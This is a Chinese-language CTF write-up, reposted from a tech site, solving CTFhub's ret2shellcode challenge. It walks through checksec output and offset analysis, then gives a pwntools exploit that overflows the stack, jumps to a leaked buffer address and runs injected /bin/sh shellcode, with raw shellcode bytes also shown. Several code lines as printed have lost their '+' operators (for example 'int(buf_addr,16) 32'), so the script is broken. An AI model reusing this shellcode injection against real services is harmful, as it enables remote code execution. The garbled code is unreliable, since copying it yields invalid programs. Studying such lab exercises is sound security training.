CTFhub-pwn-[ret2shellcode]
ret2shellcode的一个小练习,来自CTFhub。
1.题目信息
2.程序分析
──(root💀kali)-[~/Desktop/CTFhub-pwn-EX]
└─# ./pwn2
Welcome to CTFHub ret2shellcode!
What is it : [0x7fff8fef4250] ?
Input someting :
fafa
┌──(root💀kali)-[~/Desktop/CTFhub-pwn-EX]
└─# ldd pwn2
linux-vdso.so.1 (0x00007ffea20d8000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fc1fda67000)
/lib64/ld-linux-x86-64.so.2 (0x00007fc1fdc56000)
┌──(root💀kali)-[~/Desktop/CTFhub-pwn-EX]
└─# checksec pwn2
[*] '/root/Desktop/CTFhub-pwn-EX/pwn2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
几个大方向的思路:
没有PIE:ret2libc
NX关闭:ret2shellcode
其他思路:ret2csu、ret2text 【程序本身有shellcode】
3.IDA分析
3.1 反编译main函数
分析返回地址偏移量
0x18
3.2 payload 构造思路
"a"*0x18 [buf_addr 32] shellcode
具体布栈的方法为了便于理解,我画了一张图。
4.exp编写
4.1 如何知道buf的地址呢?
观察反编译的main函数,printf打印出了buf的地址。从远端的输出获取即可
4.2 exp的编写
from pwn import *
context(arch='amd64',os='linux')
host='challenge-9f678dcac04b5806.sandbox.ctfhub.com'
port=20705
io=connect(host,port)
#io=process('./pwn2')
padding=0x18
#Get the addr of buf
io.recvuntil('[')
buf_addr=io.recvuntil(']',drop=True)
io.recvuntil('Input someting :')
print('buf_addr:',buf_addr)
#shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
payload=flat(['a'*padding,p64(int(buf_addr,16) 32),asm(shellcraft.sh())])
print('payload:',payload)
#print("asm(shellcraft.sh())",asm(shellcraft.sh()))
#payload=b'a'*padding p64(int(buf_addr,16) 32) shellcode
#payload=flat(['a'*padding,p64(int(buf_addr,16) 32),p64(shellcode) ])
io.sendline(payload)
io.interactive()
当然,这里的shellcode也可以用别的了。
5.getshell pwn!
这篇好文章是转载于:学新通技术网
- 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
- 本站站名: 学新通技术网
- 本文地址: /boutique/detail/tanhgjeebi
系列文章
更多
同类精品
更多
-
photoshop保存的图片太大微信发不了怎么办
PHP中文网 06-15 -
《学习通》视频自动暂停处理方法
HelloWorld317 07-05 -
word里面弄一个表格后上面的标题会跑到下面怎么办
PHP中文网 06-20 -
Android 11 保存文件到外部存储,并分享文件
Luke 10-12 -
photoshop扩展功能面板显示灰色怎么办
PHP中文网 06-14 -
微信公众号没有声音提示怎么办
PHP中文网 03-31 -
excel下划线不显示怎么办
PHP中文网 06-23 -
excel打印预览压线压字怎么办
PHP中文网 06-22 -
TikTok加速器哪个好免费的TK加速器推荐
TK小达人 10-01 -
怎样阻止微信小程序自动打开
PHP中文网 06-13